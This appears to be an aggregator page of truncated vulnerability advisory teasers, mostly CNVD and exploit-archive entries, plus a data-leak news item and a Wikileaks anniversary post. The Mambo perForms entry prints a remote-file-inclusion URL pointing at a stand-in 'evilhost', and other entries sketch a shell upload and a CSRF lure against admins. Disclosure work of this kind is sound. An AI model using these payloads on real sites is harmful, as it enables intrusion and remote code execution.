Weak Password Vulnerability in Maple's WEB Management System

Founded in 1993, Maple Telecom Technology Corporation Maple is a leading provider of network products and solutions in China. A weak password vulnerability exists in the WEB management system of Meipu, which can be exploited by an attacker to log into the system backend and obtain sensitive...

Command Execution Vulnerability in NETSYS of Shenzhen Network Domain Technology Co. Ltd (CNVD-2021-43912)

Ltd. was founded in 2004, is a high-tech enterprise specializing in the development of computer network security equipment. Shenzhen NETSYS Technology Co., Ltd NETSYS has a command execution vulnerability that can be exploited by attackers to execute arbitrary commands...

Fitness firm V Shred exposes 606 GB worth of sensitive customer data

By Waqas V Shred was launched in 2016. This is a post from HackRead.com Read the original post: Fitness firm V Shred exposes 606 GB worth of sensitive customer data...

SQL Injection Vulnerability in Website Building System of Jinhua Jishi Information Technology Co.

Ltd. was founded in 2012, is the only designated service operator of Baidu in Jinhua area. We are committed to providing localized and convenient services for Baidu customers, helping enterprises to get more orders and enhance brand awareness through Baidu promotion. A SQL injection vulnerability...

perForms Mambo Component <= 1.0 - Remote File Inclusion

No description provided by source. ------------------------------------------------------------------------ --- perForms = 1.0 mosConfigabsolutepath Remote File Inclusion ------------------------------------------------------------------------ --- Remote : Yes Critical Level : High Vuln founded i...

Celebrating 5th Birthday of Wikileaks (Born : 4th Oct 2006)

Celebrating 5th Birthday of Wikileaks Born : 4th Oct 2006 The wikileaks.org domain name was registered on 4 October 2006. The website was unveiled, and published its first document, in December 2006. The site claims to have been "founded by Chinese dissidents, journalists, mathematicians and...

webERP 3.11.4 - Multiple Vulnerabilities

Title: webERP Multiple Vulnerabilities Author: ADEO Security Published: 30/06/2010 Version: 3.11.4 Possible all versions Vendor: http://www.weberp.org Description: "webERP is a complete web based accounting/ERP system that requires only a web-browser and pdf reader to use. It has a wide range of...

YUI Images Script Shell Upload

Title: YUI Images Script Shell Upload Vulnerability Version: 1.0 Author: Mr.P3rfekT Software Link: http://momche.net/res/YUI-upload/html/momche-yui-upload.zip Tested on Lunix CVE : N/A Founded By Mr.P3rfekT Helllo Allz Exploit : http://127.0.0.1/YUI-upload/html Upload shell .php.giff Go To...

Amaya 11.1 XHTML Parser Buffer Overflow

=cicatriz [email protected]==advisories= / / / / // / / // / o / / .-/ =Amaya 11.1 XHTML Parser Buffer Overflow==/= == =Advisory & Vulnerability Information=== Title: Amaya 11.1 XHTML Parser Buffer Overflow Advisory ID: VUDO-2009-0104 Advisory URL:...

mybb-xsrf.txt

Founded: 18, January 2008 Founder: nbbn MyBB Version: 1.2.11 and lower Type: Multiple XSRF Vulnerabilities 1 Delete Threads XSRF Vulnerabilitie: Poc: 1. Create a .html file and copy the code into it. 2. Upload the file and now send the link to an admin or moderator 3. Done 2 Delete PM's XSRF Vuln...

Mambo Component perForms 1.0 - Remote File Inclusion

------------------------------------------------------------------------ --- perForms founds 12.000 sites ! http://www.vuln.com/components/comperforms/performs.php?mosConfigabsolutepath=http://evilhost Fix Add before code: defined'VALIDMOS' or die'Direct access to this location is not allowed.';...